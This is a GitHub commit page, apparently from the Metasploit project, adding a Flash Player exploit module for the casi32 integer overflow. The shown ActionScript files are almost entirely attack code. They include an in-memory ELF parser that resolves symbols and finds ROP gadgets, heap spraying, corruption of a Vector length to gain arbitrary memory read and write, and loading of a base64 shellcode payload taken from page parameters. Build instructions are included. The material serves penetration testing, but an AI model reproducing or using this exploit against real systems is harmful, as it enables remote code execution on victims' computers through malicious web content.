-
Notifications
You must be signed in to change notification settings - Fork 13.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #5517, adobe_flash_casi32_int_overflow (exec from the flash rend…
…erer)
- Loading branch information
Showing
10 changed files
with
1,024 additions
and
296 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,235 @@ | ||
package | ||
{ | ||
public class Elf | ||
{ | ||
private const PT_DYNAMIC:uint = 2 | ||
private const PT_LOAD:uint = 1 | ||
private const PT_READ_EXEC:uint = 5 | ||
private const DT_SYMTAB:uint = 6 | ||
private const DT_STRTAB:uint = 5 | ||
private const DT_PLTGOT:uint = 3 | ||
|
||
private var e_ba:ExploitByteArray | ||
// elf base address | ||
public var base:uint = 0 | ||
// program header address | ||
public var ph:uint = 0 | ||
// number of program headers | ||
public var ph_size:uint = 0 | ||
// program header entry size | ||
public var ph_esize:uint = 0 | ||
// DYNAMIC segment address | ||
public var seg_dynamic:uint = 0 | ||
// DYNAMIC segment size | ||
public var seg_dynamic_size:uint = 0 | ||
// CODE segment address | ||
public var seg_exec:uint = 0 | ||
// CODE segment size | ||
public var seg_exec_size:uint = 0 | ||
// .dynsyn section address | ||
public var sec_dynsym:uint = 0 | ||
// .synstr section address | ||
public var sec_dynstr:uint = 0 | ||
// .got.plt section address | ||
public var sec_got_plt:uint = 0 | ||
|
||
public function Elf(ba:ExploitByteArray, addr:uint) | ||
{ | ||
e_ba = ba | ||
set_base(addr) | ||
set_program_header() | ||
set_program_header_size() | ||
set_program_header_entry_size() | ||
set_dynamic_segment() | ||
set_exec_segment() | ||
set_dynsym() | ||
set_dynstr() | ||
set_got_plt() | ||
} | ||
|
||
public function external_symbol(name:String):uint { | ||
var entry:uint = 0 | ||
var st_name:uint = 0 | ||
var st_value:uint = 0 | ||
var st_size:uint = 0 | ||
var st_info:uint = 0 | ||
var st_other:uint = 0 | ||
var st_shndx:uint = 0 | ||
var st_string:String = "" | ||
var got_plt_index:uint = 0 | ||
|
||
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit | ||
entry = sec_dynsym + 0x10 + (i * 0x10) | ||
st_name = e_ba.read(entry) | ||
st_value = e_ba.read(entry + 4) | ||
st_info = e_ba.read(entry + 0xc, "byte") | ||
st_string = e_ba.read_string(sec_dynstr + st_name) | ||
if (st_string == name) { | ||
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) | ||
} | ||
if (st_info != 0x11) { | ||
got_plt_index++ | ||
} | ||
} | ||
throw new Error() | ||
} | ||
|
||
public function symbol(name:String):uint { | ||
var entry:uint = 0 | ||
var st_name:uint = 0 | ||
var st_value:uint = 0 | ||
var st_size:uint = 0 | ||
var st_info:uint = 0 | ||
var st_other:uint = 0 | ||
var st_shndx:uint = 0 | ||
var st_string:String = "" | ||
|
||
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit | ||
entry = sec_dynsym + 0x10 + (i * 0x10) | ||
st_name = e_ba.read(entry) | ||
st_value = e_ba.read(entry + 4) | ||
st_info = e_ba.read(entry + 0xc, "byte") | ||
st_string = e_ba.read_string(sec_dynstr + st_name) | ||
if (st_string == name) { | ||
return base + st_value | ||
} | ||
} | ||
throw new Error() | ||
} | ||
|
||
|
||
public function gadget(gadget:String, hint:uint):uint | ||
{ | ||
var value:uint = parseInt(gadget, 16) | ||
var contents:uint = 0 | ||
for (var i:uint = 0; i < seg_exec_size - 4; i++) { | ||
contents = e_ba.read(seg_exec + i) | ||
if (hint == 0xffffffff && value == contents) { | ||
return seg_exec + i | ||
} | ||
if (hint != 0xffffffff && value == (contents & hint)) { | ||
return seg_exec + i | ||
} | ||
} | ||
throw new Error() | ||
} | ||
|
||
private function set_base(addr:uint):void | ||
{ | ||
addr &= 0xffff0000 | ||
while (true) { | ||
if (e_ba.read(addr) == 0x464c457f) { | ||
base = addr | ||
return | ||
} | ||
addr -= 0x1000 | ||
} | ||
|
||
throw new Error() | ||
} | ||
|
||
private function set_program_header():void | ||
{ | ||
ph = base + e_ba.read(base + 0x1c) | ||
} | ||
|
||
private function set_program_header_size():void | ||
{ | ||
ph_size = e_ba.read(base + 0x2c, "word") | ||
} | ||
|
||
private function set_program_header_entry_size():void | ||
{ | ||
ph_esize = e_ba.read(base + 0x2a, "word") | ||
} | ||
|
||
private function set_dynamic_segment():void | ||
{ | ||
var entry:uint = 0 | ||
var p_type:uint = 0 | ||
|
||
for (var i:uint = 0; i < ph_size; i++) { | ||
entry = ph + (i * ph_esize) | ||
p_type = e_ba.read(entry) | ||
if (p_type == PT_DYNAMIC) { | ||
seg_dynamic = base + e_ba.read(entry + 8) | ||
seg_dynamic_size = e_ba.read(entry + 0x14) | ||
return | ||
} | ||
} | ||
|
||
throw new Error() | ||
} | ||
|
||
private function set_exec_segment():void | ||
{ | ||
var entry:uint = 0 | ||
var p_type:uint = 0 | ||
var p_flags:uint = 0 | ||
|
||
for (var i:uint = 0; i < ph_size; i++) { | ||
entry = ph + (i * ph_esize) | ||
p_type = e_ba.read(entry) | ||
p_flags = e_ba.read(entry + 0x18) | ||
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { | ||
seg_exec = base + e_ba.read(entry + 8) | ||
seg_exec_size = e_ba.read(entry + 0x14) | ||
return | ||
} | ||
} | ||
|
||
throw new Error() | ||
} | ||
|
||
private function set_dynsym():void | ||
{ | ||
var entry:uint = 0 | ||
var s_type:uint = 0 | ||
|
||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { | ||
entry = seg_dynamic + i | ||
s_type = e_ba.read(entry) | ||
if (s_type == DT_SYMTAB) { | ||
sec_dynsym = e_ba.read(entry + 4) | ||
return | ||
} | ||
} | ||
|
||
throw new Error() | ||
} | ||
|
||
private function set_dynstr():void | ||
{ | ||
var entry:uint = 0 | ||
var s_type:uint = 0 | ||
|
||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { | ||
entry = seg_dynamic + i | ||
s_type = e_ba.read(entry) | ||
if (s_type == DT_STRTAB) { | ||
sec_dynstr = e_ba.read(entry + 4) | ||
return | ||
} | ||
} | ||
|
||
throw new Error() | ||
} | ||
|
||
private function set_got_plt():void | ||
{ | ||
var entry:uint = 0 | ||
var s_type:uint = 0 | ||
|
||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { | ||
entry = seg_dynamic + i | ||
s_type = e_ba.read(entry) | ||
if (s_type == DT_PLTGOT) { | ||
sec_got_plt = e_ba.read(entry + 4) | ||
return | ||
} | ||
} | ||
|
||
throw new Error() | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,114 @@ | ||
// Build how to: | ||
// 1. Download the AIRSDK, and use its compiler. | ||
// 2. Download the Flex SDK (4.6) | ||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs) | ||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) | ||
// 4. Build with: mxmlc -o msf.swf Exploit.as | ||
|
||
// It uses original code from @hdarwin89 for exploitation using ba's and vectors | ||
|
||
package | ||
{ | ||
import flash.display.Sprite | ||
import flash.utils.ByteArray | ||
import flash.system.ApplicationDomain | ||
import avm2.intrinsics.memory.casi32 | ||
import flash.display.LoaderInfo | ||
import mx.utils.Base64Decoder | ||
|
||
public class Exploit extends Sprite | ||
{ | ||
private var BYTE_ARRAY_SIZE:Number = 1024 | ||
private var uv:Vector.<uint> | ||
private var ba:ByteArray | ||
private var b64:Base64Decoder = new Base64Decoder(); | ||
private var payload:ByteArray | ||
private var platform:String | ||
private var os:String | ||
private var exploiter:Exploiter | ||
private var defrag:Vector.<Object> = new Vector.<Object>(100) | ||
private var ov:Vector.<Object> = new Vector.<Object>(200) | ||
|
||
public function Exploit() | ||
{ | ||
var i:uint = 0 | ||
var j:uint = 0 | ||
|
||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl | ||
os = LoaderInfo(this.root.loaderInfo).parameters.os | ||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh | ||
var pattern:RegExp = / /g; | ||
b64_payload = b64_payload.replace(pattern, "+") | ||
b64.decode(b64_payload) | ||
payload = b64.toByteArray() | ||
|
||
for (i = 0; i < defrag.length; i++) { | ||
defrag[i] = new ByteArray() | ||
defrag[i].length = BYTE_ARRAY_SIZE | ||
defrag[i].endian = "littleEndian" | ||
} | ||
|
||
ba = new ByteArray() | ||
ov[0] = ba | ||
ov[0].length = BYTE_ARRAY_SIZE | ||
ov[0].endian = "littleEndian" | ||
|
||
for (i = 1; i < ov.length; i++) { | ||
ov[i] = new Vector.<uint>(1014) | ||
ov[i][0] = 0x41424344 | ||
} | ||
|
||
ApplicationDomain.currentDomain.domainMemory = ba; | ||
// Make ByteArray length 0 so the casi32 integer overflow | ||
// can be exploited | ||
ba.atomicCompareAndSwapLength(1024, 0) | ||
|
||
try { | ||
var uint_vector_pos:uint = search_uint_vector() | ||
} catch (err:Error) { | ||
Logger.log("[!] Exploit - Corrupted Vector.<uint> not found") | ||
return | ||
} | ||
|
||
// Overwrite uint vector length | ||
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff) | ||
|
||
for (i = 0; i < ov.length; i++) { | ||
if (ov[i].length > 1024) { | ||
uv = ov[i] | ||
Logger.log("[*] Exploit - Corrupted Vector.<uint> found") | ||
} else { | ||
ov[i] = null | ||
} | ||
} | ||
|
||
exploiter = new Exploiter(this, platform, os, payload, uv) | ||
} | ||
|
||
// Methods to use the integer overflow | ||
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint { | ||
var mem:uint = 0 | ||
var mem_first_pos:uint = 0 | ||
|
||
for (var i:uint = 0; i < limit; i = i + 4) { | ||
mem = read_byte_array(i) | ||
mem_first_pos = read_byte_array(i + 8) | ||
if (mem == pattern && mem_first_pos == 0x41424344) { | ||
return i | ||
} | ||
} | ||
throw new Error() | ||
} | ||
|
||
private function read_byte_array(offset:uint = 0):uint { | ||
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef) | ||
return old | ||
} | ||
|
||
private function write_byte_array(offset:uint = 0, value:uint = 0):uint { | ||
var old:uint = read_byte_array(offset) | ||
casi32(offset, old, value) | ||
return old | ||
} | ||
} | ||
} |
Oops, something went wrong.